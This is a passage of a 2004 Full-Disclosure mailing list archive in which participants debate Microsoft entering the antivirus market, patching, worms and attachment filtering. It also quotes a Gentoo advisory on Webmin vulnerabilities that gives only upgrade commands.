company has switched to a more secure stance they are allowed to do more
good whereas before they didn't have a hammer in terms of security.

I have had "official" access to MS OS source now for almost a year and can
say that the code base is huge. While it is possible that someone could bury
something in there purposely it is more likely that someone makes a mistake
and doesn't understand all of the different ways that their function or
module could be used. This is changing, the new code being written is being
looked at very closely for security now and not just functionality. I know I
know... "MS did a complete security review of all code when they made this
decision and....". Again this code base is huge, no way they could catch
everything. I am, however, not happy about some of the things that have
gotten through such as the various USN/BER encoding and RPC issues but it is
getting better whether you want to admit it or not.

  joe

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com] On Behalf Of Todd Burroughs
Sent: Thursday, June 17, 2004 5:04 AM
To: Chris Cappuccio
Cc: Andre Ludwig; slacker; full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] MS Anti Virus?

They are planning to get into a market that gaurds against the failures in
their own product. I don't like this, as it seems that they are going to be
in a position to intentionally make holes that their "anti-virus"
software will fix. If we had a more competitive market in this type of
software there would be no market for AV software and the AV companies would
be making better operating systems. Remember, Microsoft is a marketing
company and they are very good at it and very powerful.

Educate your friends and family. Unfortunately, there isn't much choice
right now, but someone will do for Linux (or *BSD) what Apple has done.
If Apple was smart, they would make an OS for PCs. Maybe they will...

It's sad that we are wasting so much resources on what should be a
non-problem.

Todd Burroughs
---
The Internet has given us unprecedented opportunity to communicate and share
on a global scale without borders; fight to keep it that way.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Re: [ GLSA 200406-12 ] Webmin: Multiple vulnerabilities

From: Larry (listse-lsd.com)
Date: Thu Jun 17 2004 - 09:40:20 CDT

I have made several attempts to validate the GPG key on this document with
GnuPG 1.2.4 and have been unsuccessful at importing the key.

Please advise.

On Wednesday 16 June 2004 08:31 am, Kurt Lieber wrote:
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> Gentoo Linux Security Advisory GLSA 200406-12
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> http://security.gentoo.org/
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>
> Severity: Normal
> Title: Webmin: Multiple vulnerabilities
> Date: June 16, 2004
> Bugs: #53375
> ID: 200406-12
>
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>
> Synopsis
> ========
>
> Webmin contains two security vulnerabilities which could lead to a
> Denial of Service attack and information disclosure.
>
> Background
> ==========
>
> Webmin is a web-based administration tool for Unix. It supports a wide
> range of applications including Apache, DNS, file sharing and others.
>
> Affected packages
> =================
>
> -------------------------------------------------------------------
> Package / Vulnerable / Unaffected
> -------------------------------------------------------------------
> 1 app-admin/webmin <= 1.140-r1 >= 1.150
>
> Description
> ===========
>
> Webmin contains two security vulnerabilities. One allows any user to
> view the configuration of any module and the other could allow an
> attacker to lock out a valid user by sending an invalid username and
> password.
>
> Impact
> ======
>
> An authenticated user could use these vulnerabilities to view the
> configuration of any module thus potentially obtaining important
> knowledge about configuration settings. Furthermore an attacker could
> lock out legitimate users by sending invalid login information.
>
> Workaround
> ==========
>
> There is no known workaround at this time.
>
> Resolution
> ==========
>
> All Webmin users should upgrade to the latest stable version:
>
> # emerge sync
>
> # emerge -pv ">=app-admin/app-admin/webmin-1.150"
> # emerge ">=app-admin/app-admin/webmin-1.150"
>
> References
> ==========
>
> [ 1 ] Bugtraq Announcement
> http://www.securityfocus.com/bid/10474
> [ 2 ] Webmin Changelog
> http://www.webmin.com/changes-1.150.html
>
> Availability
> ============
>
> This GLSA and any updates to it are available for viewing at
> the Gentoo Security Website:
>
> http://security.gentoo.org/glsa/glsa-200406-12.xml
>
> Concerns?
> =========
>
> Security is a primary focus of Gentoo Linux and ensuring the
> confidentiality and security of our users machines is of utmost
> importance to us. Any security concerns should be addressed to
> securitygentoo.org or alternatively, you may file a bug at
> http://bugs.gentoo.org.
>
> License
> =======
>
> Copyright 2004 Gentoo Technologies, Inc; referenced text
> belongs to its owner(s).
>
> The contents of this document are licensed under the
> Creative Commons - Attribution / Share Alike license.
>
> http://creativecommons.org/licenses/by-sa/1.0

--
Regards,

Larry

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Steffen Schumacher (sschwheel.dk)
Date: Thu Jun 17 2004 - 09:42:35 CDT

On 17.06.2004 10:11:06 +0000, joe wrote:
> My initial thought of a response to this was something along the lines of do
> you wear an aluminum foil helmet as you seem to fit the profile... I decided
> against that. I mean I still think it but I think this response is
> better....
>
> Antivirus software will probably always be around. Why? Because it is mostly
> software to prevent uneducated users from hurting themselves and it is
> probably impossible to get to a point that all users will be educated and
> there won't be ways to hurt themselves and people specifically trying to
> hurt them. While AV is simply an extension of the user interface of the OS,
> at this point in the game if the OS vendor treats it that way it would
> simply result in lawsuits by the AV vendors against the OS vendors which is
> why MS will have to sell what they have.
>
> It is possible now to run without AV software and be safe, if you are fully
> educated user and take precautions and patch when the patches are available,
> you will be pretty safe even if you don't run AV and there are probably many
> users on this list that fit that category and don't run AV.
>
> Many of the recent viruses hitting the corporate world haven't been holes in
> MS products causing the problem. It has been good social engineering. One of
> the more recent ones that had me laughing was an email that came through
> with a password protected zip file with the password in the email and the
> note sounding like it came from the IT dept. People all over the world
> opened that up and ran it. If they would have had to have downloaded it,
> chmod'ed it, and then run it they would have done so if the instructions had
> said so. Yes you could probably stop this with a simple note in a small
> company, maybe 50,100,1000 people. This was a company comprising 250k people
> from around the world and no simple note was going to do the trick. You
> could also lock machines down to the point that they are merely kiosks as
> well but this isn't realistic except in a tightly controlled corporate
> environment and even still you would have considerable bitching by users who
> wanted more control.
>

While I have no numbers to back this up, I do think that worms are far worse
when it comes to the extent of which viruses spread, and speed.
It is my belief that most worms are based upon MS exploits, rather then social
engineering.

It is my belief that we will simply have to wait untill MS cleans up their act,
which they should be doing, before the world becomes a better place to live.

I realize that this doesn't clear situtations like the one above, but in general
such situations can't really be solved unless all mails are scanned extensively,
and / or the people are educate enough so that they never should run executeables
recieved from mail (its actually quite simple to me). The *real* IT department
could then link to the executeable and place it on an intranet server which
would be secure.

/Steffen

> I don't care what OS you run, if it is a user popular OS and if that OS gets
> targeted by someone with a clever social engineering scheme, it will have
> impact.
>
> I have pretty close ties to MS so most of your post simply make me smirk. I
> have met and talked with many developers there and know how busy they are
> and that they are mostly good guys trying to do a good job. Now that the
> company has switched to a more secure stance they are allowed to do more
> good whereas before they didn't have a hammer in terms of security.
>
> I have had "official" access to MS OS source now for almost a year and can
> say that the code base is huge. While it is possible that someone could bury
> something in there purposely it is more likely that someone makes a mistake
> and doesn't understand all of the different ways that their function or
> module could be used. This is changing, the new code being written is being
> looked at very closely for security now and not just functionality. I know I
> know... "MS did a complete security review of all code when they made this
> decision and....". Again this code base is huge, no way they could catch
> everything. I am, however, not happy about some of the things that have
> gotten through such as the various USN/BER encoding and RPC issues but it is
> getting better whether you want to admit it or not.
>
>
> joe
>
>
> -----Original Message-----
> From: full-disclosure-adminlists.netsys.com
> [mailto:full-disclosure-adminlists.netsys.com] On Behalf Of Todd Burroughs
> Sent: Thursday, June 17, 2004 5:04 AM
> To: Chris Cappuccio
> Cc: Andre Ludwig; slacker; full-disclosurelists.netsys.com
> Subject: Re: [Full-Disclosure] MS Anti Virus?
>
> They are planning to get into a market that gaurds against the failures in
> their own product. I don't like this, as it seems that they are going to be
> in a position to intentionally make holes that their "anti-virus"
> software will fix. If we had a more competitive market in this type of
> software there would be no market for AV software and the AV companies would
> be making better operating systems. Remember, Microsoft is a marketing
> company and they are very good at it and very powerful.
>
> Educate your friends and family. Unfortunately, there isn't much choice
> right now, but someone will do for Linux (or *BSD) what Apple has done.
> If Apple was smart, they would make an OS for PCs. Maybe they will...
>
> It's sad that we are wasting so much resources on what should be a
> non-problem.
>
> Todd Burroughs
> ---
> The Internet has given us unprecedented opportunity to communicate and share
> on a global scale without borders; fight to keep it that way.
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Eric Paynter (ericarcticbears.com)
Date: Thu Jun 17 2004 - 10:20:18 CDT

On Thu, June 17, 2004 2:45 am, Chris Cappuccio said:
> The fact that Microsoft has the monopoly reflects social and economic
> values, not technical ones.

I'm not sure if "values" is the right word. They got there by signing an
exclusive deal with IBM back when IBM made the only "serious" business
computers and the Mac was thought to be a toy. They stayed there by using
unethical and illegal tactics to coerce other vendors to bend to their
will - something only a monopoly can do.

-Eric

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] MS Anti Virus?

From: joe (mvpjoeware.net)
Date: Thu Jun 17 2004 - 10:51:46 CDT

However the worms would be blocked if people had patched their machine or
otherwise properly administrated the machines they were responsible for. All
of the worms that I think you are probably referring to all had patches well
in advance of the worm that impacted it, blaster, slammer, sasser, etc.

Home users never should have been impacted as they should be running
firewall software on the internet connections. The fact that they don't
isn't MS's fault, however MS is stepping up with XP SP2 to help out. On top
of that they should be patching when necessary.

Corporate users shouldn't have been impacted either and were only because
the IT department didn't keep the machines patched properly. Too many
companies run on a deploy and forget strategy, this doesn't work for any OS
be it Windows, *nix, or ios. I am not saying keeping them patched is an easy
task, I managed 400 servers in a Fortune 5 company that were distributed
around the world. None of them ran antivirus, none of them got infected by
either viruses nor worms, none of them allowed any but only a small number
of people to have admin rights to do harm to them. When a patch came out
that affected those servers, it was on the machines in a rather quick
fashion, generally within 72 hours depending on testing times.

Thinking that there will never be code patches required isn't realistic. It
is humans writing the code and even the humans writing the other Oses make
mistakes and need to release patches. If the people who manage the machines
don't take the time to apply the patches then the issue isn't an MS issue,
it is an admin issue.

> The *real* IT department could then link to the
> executeable and place it on an intranet server
> which would be secure.

This is an interesting idea but I can't see how one could do it in a
feasible manner in a large company that is receiving hundreds of thousands
of emails from the outside a day. Also you would have to watch for internal
emails and attachments as well because you could get an infected machine on
the inside. Now in large companies you are up to millions of emails.

My recommendation to the email manager at the time of the last major
outbreak where they started just stipping all ZIPs from emails was that they
strip ALL attachments that didn't have a specific internally defined
extension on them, that way they knew it was a purposeful thing that that
attachment was there. The extension would be something specific to a company
and people involved know that extension. Obviously this is just a crutch to
block the issue with well known executable file extensions.

The file associations are a tough thing to repeal since they are so deeply
embedded in how things are done on Windows and people have gotten so used to
them; it made life easier for a majority of the users and was a great idea
at the time. Now however, if you, for instance, removed the DOC extension
from the file associations half the corporate Windows Admins out there would
be at a complete loss as to why Word wasn't working... Those bad Windows
Admins are partially MS's fault, but mostly the fault of companies who look
for cheap admins versus good admins.

  joe
 

-----Original Message-----
From: Steffen Schumacher [mailto:sschwheel.dk]
Sent: Thursday, June 17, 2004 10:43 AM
To: joe
Cc: full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] MS Anti Virus?

While I have no numbers to back this up, I do think that worms are far worse
when it comes to the extent of which viruses spread, and speed.
It is my belief that most worms are based upon MS exploits, rather then
social engineering.

It is my belief that we will simply have to wait untill MS cleans up their
act, which they should be doing, before the world becomes a better place to
live.

I realize that this doesn't clear situtations like the one above, but in
general such situations can't really be solved unless all mails are scanned
extensively, and / or the people are educate enough so that they never
should run executeables recieved from mail (its actually quite simple to
me). The *real* IT department could then link to the executeable and place
it on an intranet server which would be secure.

/Steffen

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: DAN MORRILL (dan_20407msn.com)
Date: Thu Jun 17 2004 - 10:51:19 CDT

You make anti virus software sound like a gun lock on a 9MM.

Does it really matter who is in the anti-virus market? If Microsoft goes
that way, and they have the best knowledge of what they created, what we can
reasonably expect to see in the words of Bill Gates "Innovation, with rich
user features, deeply embeded in our software".

So, we can have an AV product that does great things, but maybe only 2% of
it will be used, and because it is a microsoft product, we can expect
patches every month, with known and unknown vulnerabilites from day one.

LOL!
r/
Dan

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Steffen Schumacher (sschwheel.dk)
Date: Thu Jun 17 2004 - 11:51:24 CDT

On 17.06.2004 11:51:46 +0000, joe wrote:
> However the worms would be blocked if people had patched their machine or
> otherwise properly administrated the machines they were responsible for. All
> of the worms that I think you are probably referring to all had patches well
> in advance of the worm that impacted it, blaster, slammer, sasser, etc.
>

Agreed.
I'm not saying that MS doesn't provide patches - they do.
I simply think that the amount of bugs in MS' OS' are to great.
If you install windows and attempt to either patch it or install firewall
afterwards while on the live internet - Your chances of getting infected
are quite high. The time it takes to install patches or a firewall may in
some situations be longer then it would take for a user to get infected.

I picture it a bit like a para trooper which has noo means of defense until
he lands and can take cover.
Other OS' like FreeBSD take a different approach. All non vital services are
disabled until the user explicitly installs or enables them.

Microsofts products should provide the means to a secure patch before risky
services like DCOM are enabled.
This should in fact be the case everytime a MS pc starts up.
Otherwise a pc which has been offline for a period may become infected while
patching.

But ultimately MS have to catch more of their serious bugs before releasing
their software. Consider how many resources that are spent on patching.
Could they have been spent revising code in stead?
I wonder what the average load on the windows update server park is...

> Home users never should have been impacted as they should be running
> firewall software on the internet connections. The fact that they don't
> isn't MS's fault, however MS is stepping up with XP SP2 to help out. On top
> of that they should be patching when necessary.
>
> Corporate users shouldn't have been impacted either and were only because
> the IT department didn't keep the machines patched properly. Too many
> companies run on a deploy and forget strategy, this doesn't work for any OS
> be it Windows, *nix, or ios. I am not saying keeping them patched is an easy
> task, I managed 400 servers in a Fortune 5 company that were distributed
> around the world. None of them ran antivirus, none of them got infected by
> either viruses nor worms, none of them allowed any but only a small number
> of people to have admin rights to do harm to them. When a patch came out
> that affected those servers, it was on the machines in a rather quick
> fashion, generally within 72 hours depending on testing times.
>
>
> Thinking that there will never be code patches required isn't realistic. It
> is humans writing the code and even the humans writing the other Oses make
> mistakes and need to release patches. If the people who manage the machines
> don't take the time to apply the patches then the issue isn't an MS issue,
> it is an admin issue.
>
I know. I just wan't fewer. When you sell these amounts of functionality
which is reused in multiple future software, then one should *REALLY* test
it better, or lower the prices.
 
>
>
> > The *real* IT department could then link to the
> > executeable and place it on an intranet server
> > which would be secure.
>
> This is an interesting idea but I can't see how one could do it in a
> feasible manner in a large company that is receiving hundreds of thousands
> of emails from the outside a day. Also you would have to watch for internal
> emails and attachments as well because you could get an infected machine on
> the inside. Now in large companies you are up to millions of emails.
>
> My recommendation to the email manager at the time of the last major
> outbreak where they started just stipping all ZIPs from emails was that they
> strip ALL attachments that didn't have a specific internally defined
> extension on them, that way they knew it was a purposeful thing that that
> attachment was there. The extension would be something specific to a company
> and people involved know that extension. Obviously this is just a crutch to
> block the issue with well known executable file extensions.
>
> The file associations are a tough thing to repeal since they are so deeply
> embedded in how things are done on Windows and people have gotten so used to
> them; it made life easier for a majority of the users and was a great idea
> at the time. Now however, if you, for instance, removed the DOC extension
> from the file associations half the corporate Windows Admins out there would
> be at a complete loss as to why Word wasn't working... Those bad Windows
> Admins are partially MS's fault, but mostly the fault of companies who look
> for cheap admins versus good admins.
>
> joe
>
>
> -----Original Message-----
> From: Steffen Schumacher [mailto:sschwheel.dk]
> Sent: Thursday, June 17, 2004 10:43 AM
> To: joe
> Cc: full-disclosurelists.netsys.com
> Subject: Re: [Full-Disclosure] MS Anti Virus?
>
>
> While I have no numbers to back this up, I do think that worms are far worse
> when it comes to the extent of which viruses spread, and speed.
> It is my belief that most worms are based upon MS exploits, rather then
> social engineering.
>
> It is my belief that we will simply have to wait untill MS cleans up their
> act, which they should be doing, before the world becomes a better place to
> live.
>
> I realize that this doesn't clear situtations like the one above, but in
> general such situations can't really be solved unless all mails are scanned
> extensively, and / or the people are educate enough so that they never
> should run executeables recieved from mail (its actually quite simple to
> me). The *real* IT department could then link to the executeable and place
> it on an intranet server which would be secure.
>
> /Steffen
>
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] MS Anti Virus?

From: joe (mvpjoeware.net)
Date: Thu Jun 17 2004 - 12:31:30 CDT

I think you will be pleasantly surprised by XP SP2 and XP Reloaded and
Windows Server R2. They are listening and they are correcting.

On the services running by default front, MS has finally come around that
corner, if you have installed 2K3 you will note a large reduction in what is
installed by default, that trend will continue.

In terms of the check for patches prior to starting business, that may be a
little too intrusive, at least in my opinion. However if the folks are
running the firewall it shouldn't be an issue. I am especially thinking with
Reloaded and R2 here.

Also if you can chase down the PPTs from the Spring D.E.C. conference held
in Washington D.C. you can see some of the future thinking stuff in terms of
Federation and identity based firewall access to make it easier for home
users to use firewalls and still being able to do what they want to do.

You will note that the number of bugs, at least security related are going
down in the newer version. Most of the issues you see are issues that are
legacy that have "always" been in the product and are being found now and
removed. I.E. It is more likely you will see a bug/hole that affects NT3/4,
2K, XP, and 2K3 versus just 2K3 or XP.

Check out the scope of the various fixes, does the fix go all the way back
to NT4 or later? Most certainly that is code that hasn't been written
recently and you are pointing out things from the past that they are working
on correcting already. It would literally be impossible to go back through
all of the old code and find all of the bad things. Even for this august
body of admins, developers, security folks. Look at BSD and Linux, if being
open to everyone was the answer you wouldn't still be seeing bugs/holes
discovered in the *nixs that have been there for some time and many
revisions, you would only supposedly have new bugs in the latest revisions.

One of Microsoft's biggest strengths and issues has been their support of
legacy apps, systems. They don't want people to break and contrary to
popular opinion do spend a considerable amount of time and effort working to
make it so legacy third party stuff doesn't break on the new stuff even if
the reason for the break is bad coding/processes on the part of the vendor.
An example would be what they did for simcity back in the day, it used
memory incorrectly so MS actually put a special check into the allocator to
protect against that bad use. Note the difference in a company that doesn't
really do that... Apple. Most old stuff will not run on new Apples but you
will find many apps that run on MS-DOS that can still be run on the latest
versions of Windows. I have a couple of programs I wrote in the early 80s
for machine shops that still run fine today, they haven't seen a compiler
since 1987 or so. Actually I just saw the other day a great article on this
but I can't find the link at the moment. The person, however, was
highlighting/complaining about MS's recent swing away from worrying about
legacy as much.

I am not really sure where I stand with the break with legacy argument. On
the plus side it would be nice because they can stop putting in all of the
overhead to support old junk and maybe get rid of a lot of bugs that have
always existed in that code that haven't been exposed. Doing that might
possibly shut up a bunch of the anti-MS camp. However, that would break a
bunch of things and then other anti-MS people would start whining about that
and how MS doesn't care about its users so it isn't even close to a win-win
situation.

If you have an XP machine lying about and haven't played with the XP SP2
Release Candidate, I highly recommend it. If anything, it gives you an idea
of where MS is currently going. Also check out 2K3.

http://www.microsoft.com/technet/prodtechnol/winxppro/sp2preview.mspx

  joe

 

-----Original Message-----
From: Steffen Schumacher [mailto:sschwheel.dk]
Sent: Thursday, June 17, 2004 12:51 PM
To: joe
Cc: full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] MS Anti Virus?

On 17.06.2004 11:51:46 +0000, joe wrote:
> However the worms would be blocked if people had patched their machine
> or otherwise properly administrated the machines they were responsible
> for. All of the worms that I think you are probably referring to all
> had patches well in advance of the worm that impacted it, blaster,
slammer, sasser, etc.
>

Agreed.
I'm not saying that MS doesn't provide patches - they do.
I simply think that the amount of bugs in MS' OS' are to great.
If you install windows and attempt to either patch it or install firewall
afterwards while on the live internet - Your chances of getting infected are
quite high. The time it takes to install patches or a firewall may in some
situations be longer then it would take for a user to get infected.

I picture it a bit like a para trooper which has noo means of defense until
he lands and can take cover.
Other OS' like FreeBSD take a different approach. All non vital services are
disabled until the user explicitly installs or enables them.

Microsofts products should provide the means to a secure patch before risky
services like DCOM are enabled.
This should in fact be the case everytime a MS pc starts up.
Otherwise a pc which has been offline for a period may become infected while
patching.

But ultimately MS have to catch more of their serious bugs before releasing
their software. Consider how many resources that are spent on patching.
Could they have been spent revising code in stead?
I wonder what the average load on the windows update server park is...

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

Valdis.Kletnieksvt.edu
Date: Thu Jun 17 2004 - 12:17:00 CDT

On Wed, 16 Jun 2004 15:53:45 PDT, Andre Ludwig <andre.ludwiggmail.com> said:

> Asked if that would hurt sales of competing products, such as Network
> Associates' McAfee and Symantec's Norton family of products, Nash said
> that Microsoft said that it would sell its anti-virus program as a
> separate product from Windows, rather than including it in Windows.

<paranoia mode=full>

I can see it now - there's an undocumented API (Gasp! Shock!) in Windows, which
interfaces from Windows to MS/AV. The gotcha is that the next service pack or
hotfix from MS doesn't actually fix the problem - it's merely a data file that
Windows pipes out the API to MS/VA saying "Here's the hole, guard against
it..."

Then the ad campaign would start: "MS/AV catches 100% of the known security
issues, while Symantec and McAffee only catch 75%...."

<paranoia mode=normal>

Naah.. They'd never use an undocumented API to benefit their product at the
expense of the competition, would they? ;)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFA0dIMcC3lWbTT17ARAgBpAKDM8S/aIg1rlzZooQOgn4Pt4B8LzQCfRFYO
4Cc+LZ58ByY6QF2saYswaXw=
=kpbV
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Eric Paynter (ericarcticbears.com)
Date: Thu Jun 17 2004 - 12:11:26 CDT

On Thu, June 17, 2004 8:51 am, DAN MORRILL said:
> Does it really matter who is in the anti-virus market? If Microsoft goes
> that way, and they have the best knowledge of what they created...

(puts on tinfoil hat)

From a paranoid point of view, "best knowledge of what they created" is a
little scary. With MS in the virus prevention market, and with their
history of unethical anti-competitive behaviour... I'd bet they'd always
be the first to recognize a new virus. How? Because they could build in
the vulnerability and create the virus and the signature in the AV all at
the same time. Then anybody who has MSAV is unaffected, while the *real*
AV companies are always one step behind... Zero day viruses already
detected by MSAV - MS are Gods! How did they know? The other vendors lose
market share because they suck compared to MS... Eventually, MS owns the
AV market, the competition declares bankrupcy, and we have no choice in
what AV tool to use.

(takes off tinfoil hat)

OK, it seems paranoid. And if they were found out, it would mean (several
more) years in anti-trust court. But when has that stopped MS before?
Haven't their already been dozens of lawsuits that MS has lost for using
their monopoly status to squash competition? Isn't it their MO to enter a
market and completely take it over by *seeming* to be the best? (seeming
-they became best by using their exclusive control of the OS to break the
competition, not by doing better job than the competition.)

I think there is a serious conflict of interest here. It may leave us with
little choice in the AV market. And that may have serious long term
security implications.

Too bad there is nothing anybody can do about it.

-Eric

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Joshua Levitsky (jlevitskjoshie.com)
Date: Thu Jun 17 2004 - 12:34:45 CDT

----- Original Message -----
From: "DAN MORRILL" <dan_20407msn.com>
Sent: Thursday, June 17, 2004 11:51 AM
Subject: Re: [Full-Disclosure] MS Anti Virus?

> You make anti virus software sound like a gun lock on a 9MM.
>
> Does it really matter who is in the anti-virus market? If Microsoft goes
> that way, and they have the best knowledge of what they created, what we
can
> reasonably expect to see in the words of Bill Gates "Innovation, with rich
> user features, deeply embeded in our software".

Wonder if Microsoft will give their new AV product the same crappy treatment
they gave their past AV product...

http://home.pmt.org/~drose/aw-win3x-31.html

Perhaps they will release it during XP SP2 and then kill it just in time for
Longhorn. Anyone that puts any faith in this new AV from Microsoft is a
fool.

--
Joshua Levitsky, MCSE, CISSP
System Engineer
http://www.foist.org/
[5957 F27C 9C71 E9A7 274A 0447 C9B9 75A4 9B41 D4D1]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Alfie (alfieleaflock.homeip.net)
Date: Thu Jun 17 2004 - 13:00:51 CDT

On Thu, Jun 17, 2004 at 10:11:26AM -0700, Eric Paynter wrote:
> On Thu, June 17, 2004 8:51 am, DAN MORRILL said:
> > Does it really matter who is in the anti-virus market? If Microsoft goes
> > that way, and they have the best knowledge of what they created...
>
> (puts on tinfoil hat)
>
> >From a paranoid point of view, "best knowledge of what they created" is a
> little scary. With MS in the virus prevention market, and with their
> history of unethical anti-competitive behaviour... I'd bet they'd always
> be the first to recognize a new virus. How? Because they could build in
> the vulnerability and create the virus and the signature in the AV all at
> the same time. Then anybody who has MSAV is unaffected, while the *real*
> AV companies are always one step behind... Zero day viruses already
> detected by MSAV - MS are Gods! How did they know? The other vendors lose
> market share because they suck compared to MS... Eventually, MS owns the
> AV market, the competition declares bankrupcy, and we have no choice in
> what AV tool to use.
>
> (takes off tinfoil hat)
>
> OK, it seems paranoid. And if they were found out, it would mean (several
> more) years in anti-trust court. But when has that stopped MS before?
> [...]

Recently, an audio tape was released of Enron employees frankly
talking about stealing millions of dollars per day from the
people of California.

http://www.cbsnews.com/stories/2004/06/01/eveningnews/main620626.shtml

So, if there was any doubt before whether a large corporation can
brazenly gouge customers, I think it's safe to say that such
behavior is quite possible.

--
"There isn't enough darkness in the world to douse the light of a single
 candle."

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Gregory A. Gilliss (ggillissnetpublishing.com)
Date: Thu Jun 17 2004 - 13:03:28 CDT

Dan et al:

You are missing the point here. While it matters little *who* is in the A/V
market, it matters very much when one player is Microsoft, because the M$
business model (according to them and to the US DOJ) is to enter a market,
undercut the market, co-opt the market, drive out the competition, and
move on to the next market (not unlike a virus, as told by Agent Smith).
So if M$ enters the A/V market and "bundles" their solution with Windows
whatever, they likely will drive Symantec and McAfee out of the market
over time by co-opting the A/V subscription market.

The security ramifications of a M$ only A/V marketplace relate to Dan Geer's
monoculture argument (already well discussed here) and also a conflict of
interest (since M$ products account for a majority of the A/V infections).
Can we "trust" an A/V solution from M$ that addresses virus infections of
M$ products? And is M$ controls both the virus host and the A/V inoculation,
does that not create a potential area of abuse - no license/upgrade/whatever,
no A/V subscription/update/whatever?

As Reagan told Gorbachev, "Let me tell you why we do not trust you..."

G

On or about 2004.06.17 15:51:19 +0000, DAN MORRILL (dan_20407msn.com) said:

> You make anti virus software sound like a gun lock on a 9MM.
>
> Does it really matter who is in the anti-virus market? If Microsoft goes
> that way, and they have the best knowledge of what they created, what we
> can reasonably expect to see in the words of Bill Gates "Innovation, with
> rich user features, deeply embeded in our software".
>
> So, we can have an AV product that does great things, but maybe only 2% of
> it will be used, and because it is a microsoft product, we can expect
> patches every month, with known and unknown vulnerabilites from day one.

--
Gregory A. Gilliss, CISSP E-mail: greggilliss.com
Computer Security WWW: http://www.gilliss.com/greg/
PGP Key fingerprint 2F 0B 70 AE 5F 8E 71 7A 2D 86 52 BA B7 83 D9 B4 14 0E 8C A3

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] MS Anti Virus?

From: Pavel Kankovsky (peakargo.troja.mff.cuni.cz)
Date: Thu Jun 17 2004 - 13:31:13 CDT

On Thu, 17 Jun 2004, joe wrote:

> Home users never should have been impacted as they should be running
> firewall software on the internet connections. The fact that they don't
> isn't MS's fault, however MS is stepping up with XP SP2 to help out. On top
> of that they should be patching when necessary.

But it is their fault they release OS with ~5 hard-to-deactivate plus ~5
almost-impossible-to-deactivate dangerous but mostly useless (*) network
services enabled by default that is guaranteed to be owned within 10
minutes after you plug it to the network unless you 1. install extra
firewalling software, or (assuming you got the version with a builtin
packet filter) 2. smoke enough grass to be able to grok their own
configuration dialog windows (**).

Indeed other vendors made the same stupid mistake in the past (and some
of them insist on repeating it).

(*) Who needs network accessible MS RPC services on a home PC?

(**) I admit I am talking about the Czech version. Maybe the English
version, not affected by the "creativity" of any localization team, is
somewhat more understandable.

--Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ]
"Resistance is futile. Open your source code and prepare for assimilation."

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Nick FitzGerald (nickvirus-l.demon.co.uk)
Date: Thu Jun 17 2004 - 13:30:55 CDT

Valdis.Kletnieksvt.edu wrote:

> Naah.. They'd never use an undocumented API to benefit their product at the
> expense of the competition, would they? ;)

In this case, no.

Given that a lot of AV technical work is reverse engineering and that
most of the best AV reversers are not among those MS "acquired" from
RAV or who have joined MS from other AV developers subsequently (not
that they haven't got some very good reversers, just there are still an
awful ot of them elsewhere), I doubt even MS is stupid enough to
consider trying something like this.

--
Nick FitzGerald
Computer Virus Consulting Ltd.
Ph/FAX: +64 3 3529854

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] MS Anti Virus?

From: Dan B. Mann (DBMwkkf.org)
Date: Thu Jun 17 2004 - 14:11:34 CDT

   From my perspective, a place that MS needs to also focus on is the
patch scanning technology. SMS, WindowsUpdate, MBSA, all can give
different, confusing results even when scanning the same machine!
Please, give me a scanner that covers all of your internal products, and
gives reliable results. Having one tool contradict another ends up
creating a mess, and it is frightening. It's not fun to try and track
down a bunch of machines on a weekly basis to really find out whether
they are patched or not.

Does Microsoft read this list?

I will give Kudos to Microsoft for making an effort to IMPROVE themself
regarding security though.

Dan

> -----Original Message-----
